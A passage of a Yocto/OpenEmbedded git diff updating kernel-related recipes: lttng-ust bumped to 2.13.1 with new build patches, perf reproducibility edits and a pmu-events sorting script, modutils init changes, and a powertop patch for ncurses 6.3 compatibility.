+++ b/meta/recipes-kernel/lttng/lttng-ust/0001-Makefile.am-update-rpath-link.patch
@@ -0,0 +1,35 @@
+From 06279f50e924d1d55b43eb3b299f6633ecb1f7a4 Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Wed, 22 Sep 2021 16:33:10 +0800
+Subject: [PATCH] Makefile.am: update rpath link
+
+since commit 6339062 Move liblttng-ust to 'src/lib/',
+liblttng-ust.so/liblttng-ust-common.so/liblttng-ust-tracepoint.so
+'s location changed from one dir to multiple dirs. which make below
+error:
+ld: warning: liblttng-ust-common.so.1, needed by ../../../src/lib/lttng-ust/.libs/liblttng-ust.so, not found (try using -rpath or -rpath-link)
+ld: warning: liblttng-ust-tracepoint.so.1, needed by ../../../src/lib/lttng-ust/.libs/liblttng-ust.so, not found (try using -rpath or -rpath-link)
+
+Upstream-Status: Submitted [https://github.com/lttng/lttng-ust/pull/61]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ doc/examples/Makefile.am | 2 +-
+ 1 file changed, 1 insertions(+), 1 deletions(-)
+
+diff --git a/doc/examples/Makefile.am b/doc/examples/Makefile.am
+index 8ee0564..20d246c 100644
+--- a/doc/examples/Makefile.am
++++ b/doc/examples/Makefile.am
+@@ -142,7 +142,7 @@ all-local:
+ CFLAGS='$(CFLAGS)' \
+ AM_CFLAGS='$(AM_CFLAGS)' \
+ LDFLAGS="$(LDFLAGS)" \
+- AM_LDFLAGS='$(AM_LDFLAGS) -L../../../src/lib/lttng-ust/.libs -Wl,-rpath="$(PWD)/../../src/lib/lttng-ust/.libs/" -Wl,-rpath-link="$(PWD)/../../src/lib/lttng-ust/.libs/"' \
++ AM_LDFLAGS='$(AM_LDFLAGS) -L../../../src/lib/lttng-ust/.libs -Wl,-rpath="$(PWD)/../../src/lib/lttng-ust/.libs/" -Wl,-rpath-link="$(PWD)/../../src/lib/lttng-ust/.libs/:$(PWD)/../../src/lib/lttng-ust-tracepoint/.libs:$(PWD)/../../src/lib/lttng-ust-common/.libs/"' \
+ LTTNG_GEN_TP_PATH="$$rel_src_subdir$(top_srcdir)/tools/" \
+ AM_V_P="$(AM_V_P)" \
+ AM_V_at="$(AM_V_at)" \
+--
+2.17.1
+
diff --git a/meta/recipes-kernel/lttng/lttng-ust/0001-lttng-ust-common-link-with-liburcu-explicitly.patch b/meta/recipes-kernel/lttng/lttng-ust/0001-lttng-ust-common-link-with-liburcu-explicitly.patch
new file mode 100644
index 0000000000..d3c451fd2b
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-ust/0001-lttng-ust-common-link-with-liburcu-explicitly.patch
@@ -0,0 +1,25 @@
+From 2058584b7e87d6bd9d1765577766e0df7752232c Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Sun, 5 Sep 2021 10:44:19 +0200
+Subject: [PATCH] lttng-ust-common: link with liburcu explicitly
+
+Otherwise linking errors are seen on x86-32.
+
+Upstream-Status: Submitted [by email to lttng-dev, Francis, Jonathan]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ src/lib/lttng-ust-common/Makefile.am | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/lib/lttng-ust-common/Makefile.am b/src/lib/lttng-ust-common/Makefile.am
+index caeea2b..30febf0 100644
+--- a/src/lib/lttng-ust-common/Makefile.am
++++ b/src/lib/lttng-ust-common/Makefile.am
+@@ -15,6 +15,7 @@ liblttng_ust_common_la_SOURCES = \
+
+ liblttng_ust_common_la_LIBADD = \
+ $(top_builddir)/src/common/libcommon.la \
++ $(URCU_LIBS) \
+ $(DL_LIBS)
+
+ liblttng_ust_common_la_LDFLAGS = -no-undefined -version-info $(LTTNG_UST_LIBRARY_VERSION)
diff --git a/meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch b/meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch
index c2028d0e1a..fd9b6ea7ff 100644
--- a/meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch
+++ b/meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch
@@ -1,4 +1,4 @@
-From f79dac30af9adda12996da7f6aa6667d3b580537 Mon Sep 17 00:00:00 2001
+From dd1fdc841d069dbd4e284f430a88af79de951124 Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Thu, 26 Sep 2019 17:54:00 +0800
Subject: [PATCH] python-lttngust/Makefile.am: Add --install-lib to setup.py
@@ -9,23 +9,21 @@ building.
Upstream-Status: Submitted [https://github.com/lttng/lttng-ust/pull/59]
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
+
---
- python-lttngust/Makefile.am | 2 +-
+ src/python-lttngust/Makefile.am | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/python-lttngust/Makefile.am b/python-lttngust/Makefile.am
-index 6c0d20d..38b51b8 100644
---- a/python-lttngust/Makefile.am
-+++ b/python-lttngust/Makefile.am
-@@ -9,7 +9,7 @@ install-exec-local:
+diff --git a/src/python-lttngust/Makefile.am b/src/python-lttngust/Makefile.am
+index f95482d..f76d95b 100644
+--- a/src/python-lttngust/Makefile.am
++++ b/src/python-lttngust/Makefile.am
+@@ -32,7 +32,7 @@ install-exec-local: build-python-bindings.stamp
if [ "$(DESTDIR)" != "" ]; then \
opts="$$opts --root=$(DESTDIR)"; \
fi; \
-- $(PYTHON) setup.py install $$opts;
-+ $(PYTHON) setup.py install $$opts --install-lib=$(pythondir);
+- $(PYTHON) $(builddir)/setup.py install $$opts;
++ $(PYTHON) $(builddir)/setup.py install $$opts --install-lib=$(pythondir);
clean-local:
rm -rf $(builddir)/build
---
-2.7.4
-
diff --git a/meta/recipes-kernel/lttng/lttng-ust_2.12.0.bb b/meta/recipes-kernel/lttng/lttng-ust_2.12.0.bb
deleted file mode 100644
index 67a4307c7b..0000000000
--- a/meta/recipes-kernel/lttng/lttng-ust_2.12.0.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-SUMMARY = "Linux Trace Toolkit Userspace Tracer 2.x"
-DESCRIPTION = "The LTTng UST 2.x package contains the userspace tracer library to trace userspace codes."
-HOMEPAGE = "http://lttng.org/ust"
-BUGTRACKER = "https://bugs.lttng.org/projects/lttng-ust"
-
-LICENSE = "LGPLv2.1+ & MIT & GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c963eb366b781252b0bf0fdf1624d9e9 \
- file://snprintf/snprintf.c;endline=32;md5=d3d544959d8a3782b2e07451be0a903c \
- file://snprintf/various.h;endline=31;md5=89f2509b6b4682c4fc95255eec4abe44"
-
-PYTHON_OPTION = "am_cv_python_pyexecdir='${PYTHON_SITEPACKAGES_DIR}' \
- am_cv_python_pythondir='${PYTHON_SITEPACKAGES_DIR}' \
- PYTHON_INCLUDE='-I${STAGING_INCDIR}/python${PYTHON_BASEVERSION}${PYTHON_ABI}' \
-"
-
-inherit autotools lib_package manpages python3native
-
-include lttng-platforms.inc
-
-EXTRA_OECONF = "--disable-numa"
-
-DEPENDS = "liburcu util-linux"
-RDEPENDS_${PN}-bin = "python3-core"
-
-# For backwards compatibility after rename
-RPROVIDES_${PN} = "lttng2-ust"
-RREPLACES_${PN} = "lttng2-ust"
-RCONFLICTS_${PN} = "lttng2-ust"
-
-PE = "2"
-
-SRC_URI = "https://lttng.org/files/lttng-ust/lttng-ust-${PV}.tar.bz2 \
- file://0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch \
- "
-
-SRC_URI[md5sum] = "3bf4a04c305271d13cf6596c4e7b9b3c"
-SRC_URI[sha256sum] = "1983edb525f3f27e3494088d8d5389b4c71af66bbfe63c6f1df2ad95aa44a528"
-
-CVE_PRODUCT = "ust"
-
-PACKAGECONFIG[examples] = "--enable-examples, --disable-examples,"
-PACKAGECONFIG[manpages] = "--enable-man-pages, --disable-man-pages, asciidoc-native xmlto-native libxslt-native"
-PACKAGECONFIG[python3-agent] = "--enable-python-agent ${PYTHON_OPTION}, --disable-python-agent, python3, python3"
-
-FILES_${PN} += " ${PYTHON_SITEPACKAGES_DIR}/*"
-FILES_${PN}-staticdev += " ${PYTHON_SITEPACKAGES_DIR}/*.a"
-FILES_${PN}-dev += " ${PYTHON_SITEPACKAGES_DIR}/*.la"
-
-do_install_append() {
- # Patch python tools to use Python 3; they should be source compatible, but
- # still refer to Python 2 in the shebang
- sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${bindir}/lttng-gen-tp
-}
diff --git a/meta/recipes-kernel/lttng/lttng-ust_2.13.1.bb b/meta/recipes-kernel/lttng/lttng-ust_2.13.1.bb
new file mode 100644
index 0000000000..82e544a4b9
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-ust_2.13.1.bb
@@ -0,0 +1,53 @@
+SUMMARY = "Linux Trace Toolkit Userspace Tracer 2.x"
+DESCRIPTION = "The LTTng UST 2.x package contains the userspace tracer library to trace userspace codes."
+HOMEPAGE = "http://lttng.org/ust"
+BUGTRACKER = "https://bugs.lttng.org/projects/lttng-ust"
+
+LICENSE = "LGPLv2.1+ & MIT & GPLv2"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a46577a38ad0c36ff6ff43ccf40c480f"
+
+PYTHON_OPTION = "am_cv_python_pyexecdir='${PYTHON_SITEPACKAGES_DIR}' \
+ am_cv_python_pythondir='${PYTHON_SITEPACKAGES_DIR}' \
+ PYTHON_INCLUDE='-I${STAGING_INCDIR}/python${PYTHON_BASEVERSION}${PYTHON_ABI}' \
+"
+
+inherit autotools lib_package manpages python3native pkgconfig
+
+include lttng-platforms.inc
+
+EXTRA_OECONF = "--disable-numa"
+CPPFLAGS:append:arm = "${@oe.utils.vartrue('DEBUG_BUILD', '-DUATOMIC_NO_LINK_ERROR', '', d)}"
+
+DEPENDS = "liburcu util-linux"
+RDEPENDS:${PN}-bin = "python3-core"
+
+# For backwards compatibility after rename
+RPROVIDES:${PN} = "lttng2-ust"
+RREPLACES:${PN} = "lttng2-ust"
+RCONFLICTS:${PN} = "lttng2-ust"
+
+PE = "2"
+
+SRC_URI = "https://lttng.org/files/lttng-ust/lttng-ust-${PV}.tar.bz2 \
+ file://0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch \
+ file://0001-lttng-ust-common-link-with-liburcu-explicitly.patch \
+ file://0001-Makefile.am-update-rpath-link.patch \
+ "
+
+SRC_URI[sha256sum] = "5667bf0269e1e62e2d9cb974c456ff86e0401bd7aa3bfc8d5fdb97233249eddc"
+
+CVE_PRODUCT = "ust"
+
+PACKAGECONFIG[examples] = "--enable-examples, --disable-examples,"
+PACKAGECONFIG[manpages] = "--enable-man-pages, --disable-man-pages, asciidoc-native xmlto-native libxslt-native"
+PACKAGECONFIG[python3-agent] = "--enable-python-agent ${PYTHON_OPTION}, --disable-python-agent, python3, python3"
+
+FILES:${PN} += " ${PYTHON_SITEPACKAGES_DIR}/*"
+FILES:${PN}-staticdev += " ${PYTHON_SITEPACKAGES_DIR}/*.a"
+FILES:${PN}-dev += " ${PYTHON_SITEPACKAGES_DIR}/*.la"
+
+do_install:append() {
+ # Patch python tools to use Python 3; they should be source compatible, but
+ # still refer to Python 2 in the shebang
+ sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${bindir}/lttng-gen-tp
+}
diff --git a/meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb b/meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb
index 1ab248fed5..e5a1628898 100644
--- a/meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb
+++ b/meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb
@@ -1,6 +1,7 @@
SUMMARY = "Build tools needed by external modules"
+HOMEPAGE = "https://www.yoctoproject.org/"
LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
inherit kernel-arch
inherit pkgconfig
@@ -12,13 +13,13 @@ S = "${WORKDIR}"
do_configure[depends] += "virtual/kernel:do_shared_workdir openssl-native:do_populate_sysroot"
do_compile[depends] += "virtual/kernel:do_compile_kernelmodules"
-RDEPENDS_${PN}-dev = ""
+RDEPENDS:${PN}-dev = ""
DEPENDS += "bc-native bison-native"
DEPENDS += "gmp-native"
EXTRA_OEMAKE = " HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCPP="${BUILD_CPP}""
-EXTRA_OEMAKE += " HOSTCXX="${BUILD_CXX} ${BUILD_CXXFLAGS} ${BUILD_LDFLAGS}""
+EXTRA_OEMAKE += " HOSTCXX="${BUILD_CXX} ${BUILD_CXXFLAGS} ${BUILD_LDFLAGS}" CROSS_COMPILE=${TARGET_PREFIX}"
# Build some host tools under work-shared. CC, LD, and AR are probably
# not used, but this is the historical way of invoking "make scripts".
diff --git a/meta/recipes-kernel/modutils-initscripts/files/modutils.sh b/meta/recipes-kernel/modutils-initscripts/files/modutils.sh
index a78adf5729..67e1dcd990 100755
--- a/meta/recipes-kernel/modutils-initscripts/files/modutils.sh
+++ b/meta/recipes-kernel/modutils-initscripts/files/modutils.sh
@@ -13,14 +13,17 @@
LOAD_MODULE=modprobe
[ -f /proc/modules ] || exit 0
-[ -f /etc/modules ] || [ -d /etc/modules-load.d ] || exit 0
-[ -e /sbin/modprobe ] || LOAD_MODULE=insmod
+[ -d /lib/modules/`uname -r` ] || exit 0
-if [ ! -f /lib/modules/`uname -r`/modules.dep ]; then
+# Test if modules.dep exists and has a size greater than zero
+if [ ! -s /lib/modules/`uname -r`/modules.dep ]; then
[ "$VERBOSE" != no ] && echo "Calculating module dependencies ..."
- depmod -Ae
+ depmod -a
fi
+[ -f /etc/modules ] || [ -d /etc/modules-load.d ] || exit 0
+[ -e /sbin/modprobe ] || LOAD_MODULE=insmod
+
loaded_modules=" "
process_file() {
diff --git a/meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb b/meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb
index 881b7db92e..aa71309126 100644
--- a/meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb
+++ b/meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb
@@ -10,7 +10,7 @@ PR = "r7"
S = "${WORKDIR}"
INITSCRIPT_NAME = "modutils.sh"
-INITSCRIPT_PARAMS = "start 05 S ."
+INITSCRIPT_PARAMS = "start 06 S ."
inherit update-rc.d
@@ -22,8 +22,8 @@ do_install () {
install -m 0755 ${WORKDIR}/modutils.sh ${D}${sysconfdir}/init.d/
}
-PACKAGE_WRITE_DEPS_append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd','systemd-systemctl-native','',d)}"
-pkg_postinst_${PN} () {
+PACKAGE_WRITE_DEPS:append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd','systemd-systemctl-native','',d)}"
+pkg_postinst:${PN} () {
if type systemctl >/dev/null 2>/dev/null; then
if [ -n "$D" ]; then
OPTS="--root=$D"
diff --git a/meta/recipes-kernel/perf/perf.bb b/meta/recipes-kernel/perf/perf.bb
index 868cde7353..ec0c6efe15 100644
--- a/meta/recipes-kernel/perf/perf.bb
+++ b/meta/recipes-kernel/perf/perf.bb
@@ -30,8 +30,8 @@ PACKAGECONFIG[cap] = ",,libcap"
PACKAGECONFIG[coresight] = "CORESIGHT=1,,opencsd"
# libunwind is not yet ported for some architectures
-PACKAGECONFIG_remove_arc = "libunwind"
-PACKAGECONFIG_remove_riscv64 = "libunwind"
+PACKAGECONFIG:remove:arc = "libunwind"
+PACKAGECONFIG:remove:riscv32 = "libunwind"
DEPENDS = " \
virtual/${MLPREFIX}libc \
@@ -47,7 +47,7 @@ PROVIDES = "virtual/perf"
inherit linux-kernel-base kernel-arch manpages
# needed for building the tools/perf Python bindings
-inherit ${@bb.utils.contains('PACKAGECONFIG', 'scripting', 'python3native', '', d)}
+inherit ${@bb.utils.contains('PACKAGECONFIG', 'scripting', 'python3targetconfig', '', d)}
inherit python3-dir
export PYTHON_SITEPACKAGES_DIR
@@ -81,6 +81,7 @@ EXTRA_OEMAKE = '\
AR="${AR}" \
LD="${LD}" \
EXTRA_CFLAGS="-ldw" \
+ YFLAGS='-y --file-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}' \
EXTRA_LDFLAGS="${PERF_EXTRA_LDFLAGS}" \
perfexecdir=${libexecdir} \
NO_GTK2=1 \
@@ -108,7 +109,7 @@ EXTRA_OEMAKE += "\
# that it has to be done this way rather than by passing -j1, since
# perf's build system by default ignores any -j argument, but does
# honour a JOBS variable.
-EXTRA_OEMAKE_append_task-configure = " JOBS=1"
+EXTRA_OEMAKE:append:task-configure = " JOBS=1"
PERF_SRC ?= "Makefile \
tools/arch \
@@ -124,9 +125,11 @@ PERF_SRC ?= "Makefile \
PERF_EXTRA_LDFLAGS = ""
-# MIPS N32
-PERF_EXTRA_LDFLAGS_mipsarchn32eb = "-m elf32btsmipn32"
-PERF_EXTRA_LDFLAGS_mipsarchn32el = "-m elf32ltsmipn32"
+# MIPS N32/N64
+PERF_EXTRA_LDFLAGS:mipsarchn32eb = "-m elf32btsmipn32"
+PERF_EXTRA_LDFLAGS:mipsarchn32el = "-m elf32ltsmipn32"
+PERF_EXTRA_LDFLAGS:mipsarchn64eb = "-m elf64btsmip"
+PERF_EXTRA_LDFLAGS:mipsarchn64el = "-m elf64ltsmip"
do_compile() {
# Linux kernel build system is expected to do the right thing
@@ -164,7 +167,7 @@ python copy_perf_source_from_kernel() {
bb.utils.copyfile(src, dest)
}
-do_configure_prepend () {
+do_configure:prepend () {
# If building a multlib based perf, the incorrect library path will be
# detected by perf, since it triggers via: ifeq ($(ARCH),x86_64). In a 32 bit
# build, with a 64 bit multilib, the arch won't match and the detection of a
@@ -214,6 +217,51 @@ do_configure_prepend () {
${S}/tools/build/Makefile.build
fi
+ # start reproducibility substitutions
+ if [ -e "${S}/tools/perf/Makefile.config" ]; then
+ # The following line in the Makefle:
+ # override PYTHON := $(call get-executable-or-default,PYTHON,$(PYTHON_AUTO))
+ # "PYTHON" / "PYTHON_AUTO" have the full path as part of the variable. We've
+ # ensure that the environment is setup and we do not need the full path to be
+ # captured, since the symbol gets built into the executable, making it not
+ # reproducible.
+ sed -i -e 's,$(call get-executable-or-default\,PYTHON\,$(PYTHON_AUTO)),$(notdir $(call get-executable-or-default\,PYTHON\,$(PYTHON_AUTO))),g' \
+ ${S}/tools/perf/Makefile.config
+
+ # The following line:
+ # srcdir_SQ = $(patsubst %tools/perf,tools/perf,$(subst ','\'',$(srcdir))),
+ # Captures the full src path of perf, which of course makes it not
+ # reproducible. We really only need the relative location 'tools/perf', so we
+ # change the Makefile line to remove everything before 'tools/perf'
+ sed -i -e "s%srcdir_SQ = \$(subst ','\\\'',\$(srcdir))%srcdir_SQ = \$(patsubst \%tools/perf,tools/perf,\$(subst ','\\\'',\$(srcdir)))%g" \
+ ${S}/tools/perf/Makefile.config
+ fi
+ if [ -e "${S}/tools/perf/tests/Build" ]; then
+ # OUTPUT is the full path, we have python on the path so we remove it from the
+ # definition. This is captured in the perf binary, so breaks reproducibility
+ sed -i -e 's,PYTHONPATH="BUILD_STR($(OUTPUT)python)",PYTHONPATH="BUILD_STR(python)",g' \
+ ${S}/tools/perf/tests/Build
+ fi
+ if [ -e "${S}/tools/perf/util/Build" ]; then
+ # To avoid bison generating #ifdefs that have captured paths, we make sure
+ # all the calls have YFLAGS, which contains prefix mapping information.
+ sed -i -e 's,$(BISON),$(BISON) $(YFLAGS),g' ${S}/tools/perf/util/Build
+ fi
+ if [ -e "${S}/scripts/Makefile.host" ]; then
+ # To avoid yacc (bison) generating #ifdefs that have captured paths, we make sure
+ # all the calls have YFLAGS, which contains prefix mapping information.
+ sed -i -e 's,$(YACC),$(YACC) $(YFLAGS),g' ${S}/scripts/Makefile.host
+ fi
+ if [ -e "${S}/tools/perf/pmu-events/Build" ]; then
+ target='$(OUTPUT)pmu-events/pmu-events.c $(V)'
+ replacement1='$(OUTPUT)pmu-events/pmu-events.c $(V)\n'
+ replacement2='\t$(srctree)/sort-pmuevents.py $(OUTPUT)pmu-events/pmu-events.c $(OUTPUT)pmu-events/pmu-events.c.new\n'
+ replacement3='\tcp $(OUTPUT)pmu-events/pmu-events.c.new $(OUTPUT)pmu-events/pmu-events.c'
+ sed -i -e "s,$target,$replacement1$replacement2$replacement3,g" \
+ "${S}/tools/perf/pmu-events/Build"
+ fi
+ # end reproducibility substitutions
+
# We need to ensure the --sysroot option in CC is preserved
if [ -e "${S}/tools/perf/Makefile.perf" ]; then
sed -i 's,CC = $(CROSS_COMPILE)gcc,#CC,' ${S}/tools/perf/Makefile.perf
@@ -254,9 +302,17 @@ do_configure_prepend () {
# so we copy it from the sysroot unistd.h to the perf unistd.h
install -D -m0644 ${STAGING_INCDIR}/asm-generic/unistd.h ${S}/tools/include/uapi/asm-generic/unistd.h
install -D -m0644 ${STAGING_INCDIR}/asm-generic/unistd.h ${S}/include/uapi/asm-generic/unistd.h
+
+ # the fetcher is inhibited by the 'inherit kernelsrc', so we do a quick check and
+ # copy for a helper script we need
+ for p in $(echo ${FILESPATH} | tr ':' '\n'); do
+ if [ -e $p/sort-pmuevents.py ]; then
+ cp $p/sort-pmuevents.py ${S}
+ fi
+ done
}
-python do_package_prepend() {
+python do_package:prepend() {
d.setVar('PKGV', d.getVar("KERNEL_VERSION").split("-")[0])
}
@@ -265,25 +321,25 @@ PACKAGE_ARCH = "${MACHINE_ARCH}"
PACKAGES =+ "${PN}-archive ${PN}-tests ${PN}-perl ${PN}-python"
-RDEPENDS_${PN} += "elfutils bash"
-RDEPENDS_${PN}-archive =+ "bash"
-RDEPENDS_${PN}-python =+ "bash python3 python3-modules ${@bb.utils.contains('PACKAGECONFIG', 'audit', 'audit-python3', '', d)}"
-RDEPENDS_${PN}-perl =+ "bash perl perl-modules"
-RDEPENDS_${PN}-tests =+ "python3"
+RDEPENDS:${PN} += "elfutils bash"
+RDEPENDS:${PN}-archive =+ "bash"
+RDEPENDS:${PN}-python =+ "bash python3 python3-modules ${@bb.utils.contains('PACKAGECONFIG', 'audit', 'audit-python', '', d)}"
+RDEPENDS:${PN}-perl =+ "bash perl perl-modules"
+RDEPENDS:${PN}-tests =+ "python3 bash"
RSUGGESTS_SCRIPTING = "${@bb.utils.contains('PACKAGECONFIG', 'scripting', '${PN}-perl ${PN}-python', '',d)}"
-RSUGGESTS_${PN} += "${PN}-archive ${PN}-tests ${RSUGGESTS_SCRIPTING}"
+RSUGGESTS:${PN} += "${PN}-archive ${PN}-tests ${RSUGGESTS_SCRIPTING}"
FILES_SOLIBSDEV = ""
-FILES_${PN} += "${libexecdir}/perf-core ${exec_prefix}/libexec/perf-core ${libdir}/traceevent ${libdir}/libperf-jvmti.so"
-FILES_${PN}-archive = "${libdir}/perf/perf-core/perf-archive"
-FILES_${PN}-tests = "${libdir}/perf/perf-core/tests ${libexecdir}/perf-core/tests"
-FILES_${PN}-python = " \
+FILES:${PN} += "${libexecdir}/perf-core ${exec_prefix}/libexec/perf-core ${libdir}/traceevent ${libdir}/libperf-jvmti.so"
+FILES:${PN}-archive = "${libdir}/perf/perf-core/perf-archive"
+FILES:${PN}-tests = "${libdir}/perf/perf-core/tests ${libexecdir}/perf-core/tests"
+FILES:${PN}-python = " \
${PYTHON_SITEPACKAGES_DIR} \
${libexecdir}/perf-core/scripts/python \
"
-FILES_${PN}-perl = "${libexecdir}/perf-core/scripts/perl"
+FILES:${PN}-perl = "${libexecdir}/perf-core/scripts/perl"
INHIBIT_PACKAGE_DEBUG_SPLIT="1"
-DEBUG_OPTIMIZATION_append = " -Wno-error=maybe-uninitialized"
+DEBUG_OPTIMIZATION:append = " -Wno-error=maybe-uninitialized"
diff --git a/meta/recipes-kernel/perf/perf/sort-pmuevents.py b/meta/recipes-kernel/perf/perf/sort-pmuevents.py
new file mode 100755
index 0000000000..09ba3328a7
--- /dev/null
+++ b/meta/recipes-kernel/perf/perf/sort-pmuevents.py
@@ -0,0 +1,97 @@
+#!/usr/bin/env python3
+
+# perf pmu-events sorting tool
+#
+# Copyright (C) 2021 Bruce Ashfield
+#
+# SPDX-License-Identifier: MIT
+#
+
+import sys
+import os
+import re
+from collections import OrderedDict
+
+if len(sys.argv) < 2:
+ print( "[ERROR]: input and output pmu files missing" )
+ sys.exit(1)
+
+if len(sys.argv) < 3:
+ print( "[ERROR]: output pmu file missing" )
+ sys.exit(1)
+
+infile = sys.argv[1]
+outfile = sys.argv[2]
+
+if not os.path.exists(infile):
+ print( "ERROR. input file does not exist: %s" % infile )
+ sys.exit(1)
+
+if os.path.exists(outfile):
+ print( "WARNING. output file will be overwritten: %s" % infile )
+
+with open(infile, 'r') as file:
+ data = file.read()
+
+preamble_regex = re.compile( '^(.*?)^(struct|const struct|static struct|static const struct)', re.MULTILINE | re.DOTALL )
+
+preamble = re.search( preamble_regex, data )
+struct_block_regex = re.compile( '^(struct|const struct|static struct|static const struct).*?(\w+) (.*?)\[\] = {(.*?)^};', re.MULTILINE | re.DOTALL )
+field_regex = re.compile( '{.*?},', re.MULTILINE | re.DOTALL )
+cpuid_regex = re.compile( '\.cpuid = (.*?),', re.MULTILINE | re.DOTALL )
+name_regex = re.compile( '\.name = (.*?),', re.MULTILINE | re.DOTALL )
+
+# create a dictionary structure to store all the structs, their
+# types and then their fields.
+entry_dict = {}
+for struct in re.findall( struct_block_regex, data ):
+ # print( "struct: %s %s %s" % (struct[0],struct[1],struct[2]) )
+ entry_dict[struct[2]] = {}
+ entry_dict[struct[2]]['type_prefix'] = struct[0]
+ entry_dict[struct[2]]['type'] = struct[1]
+ entry_dict[struct[2]]['fields'] = {}
+ for entry in re.findall( field_regex, struct[3] ):
+ #print( " entry: %s" % entry )
+ cpuid = re.search( cpuid_regex, entry )
+ if cpuid:
+ #print( " cpuid found: %s" % cpuid.group(1) )
+ entry_dict[struct[2]]['fields'][cpuid.group(1)] = entry
+
+ name = re.search( name_regex, entry )
+ if name:
+ #print( " name found: %s" % name.group(1) )
+ entry_dict[struct[2]]['fields'][name.group(1)] = entry
+
+ if not entry_dict[struct[2]]['fields']:
+ entry_dict[struct[2]]['fields']['0'] = entry
+
+# created ordered dictionaries from the captured values. These are ordered by
+# a sorted() iteration of the keys. We don't care about the order we read
+# things, just the sorted order. Hency why we couldn't create these during
+# reading.
+#
+# yes, there's a more concise way to do this, but our nested dictionaries of
+# fields make it complex enough that it becomes unreadable.
+entry_dict_sorted = OrderedDict()
+for i in sorted(entry_dict.keys()):
+ entry_dict_sorted[i] = {}
+ entry_dict_sorted[i]['type_prefix'] = entry_dict[i]['type_prefix']
+ entry_dict_sorted[i]['type'] = entry_dict[i]['type']
+ entry_dict_sorted[i]['fields'] = {}
+ for f in sorted(entry_dict[i]['fields'].keys()):
+ entry_dict_sorted[i]['fields'][f] = entry_dict[i]['fields'][f]
+
+# dump the sorted elements to the outfile
+outf = open( outfile, 'w' )
+
+print( preamble.group(1) )
+outf.write( preamble.group(1) )
+for d in entry_dict_sorted:
+ outf.write( "%s %s %s[] = {\n" % (entry_dict_sorted[d]['type_prefix'], entry_dict_sorted[d]['type'],d) )
+ for f in entry_dict_sorted[d]['fields']:
+ outf.write( entry_dict_sorted[d]['fields'][f] + '\n' )
+
+ outf.write( "};\n" )
+
+outf.close()
+
diff --git a/meta/recipes-kernel/powertop/powertop/0001-src-fix-compatibility-with-ncurses-6.3.patch b/meta/recipes-kernel/powertop/powertop/0001-src-fix-compatibility-with-ncurses-6.3.patch
new file mode 100644
index 0000000000..84b05ac971
--- /dev/null
+++ b/meta/recipes-kernel/powertop/powertop/0001-src-fix-compatibility-with-ncurses-6.3.patch
@@ -0,0 +1,52 @@
+From 76d3f0851520bc8488e432f423941f1e72cc7405 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 25 Oct 2021 17:47:23 +0200
+Subject: [PATCH] src: fix compatibility with ncurses 6.3
+
+Upstream-Status: Submitted [https://github.com/fenrus75/powertop/pull/92]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ src/devices/devfreq.cpp | 2 +-
+ src/display.cpp | 2 +-
+ src/lib.cpp | 2 +-
+ 3 files changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/src/devices/devfreq.cpp b/src/devices/devfreq.cpp
+index 0509d0f..b194ac4 100644
+--- a/src/devices/devfreq.cpp
++++ b/src/devices/devfreq.cpp
+@@ -297,7 +297,7 @@ void display_devfreq_devices(void)
+ df->fill_freq_utilization(j, buf);
+ strcat(fline, buf);
+ strcat(fline, "\n");
+- wprintw(win, fline);
++ wprintw(win, "%s", fline);
+ }
+ wprintw(win, "\n");
+ }
+diff --git a/src/display.cpp b/src/display.cpp
+index 7131144..cc03919 100644
+--- a/src/display.cpp
++++ b/src/display.cpp
+@@ -125,7 +125,7 @@ void show_tab(unsigned int tab)
+
+ c = bottom_lines[tab_names[tab]].c_str();
+ if (c && strlen(c) > 0)
+- mvwprintw(bottom_line, 0,0, c);
++ mvwprintw(bottom_line, 0,0, "%s", c);
+ else
+ mvwprintw(bottom_line, 0, 0,
+ "<ESC> %s | <TAB> / <Shift + TAB> %s | ", _("Exit"),
+diff --git a/src/lib.cpp b/src/lib.cpp
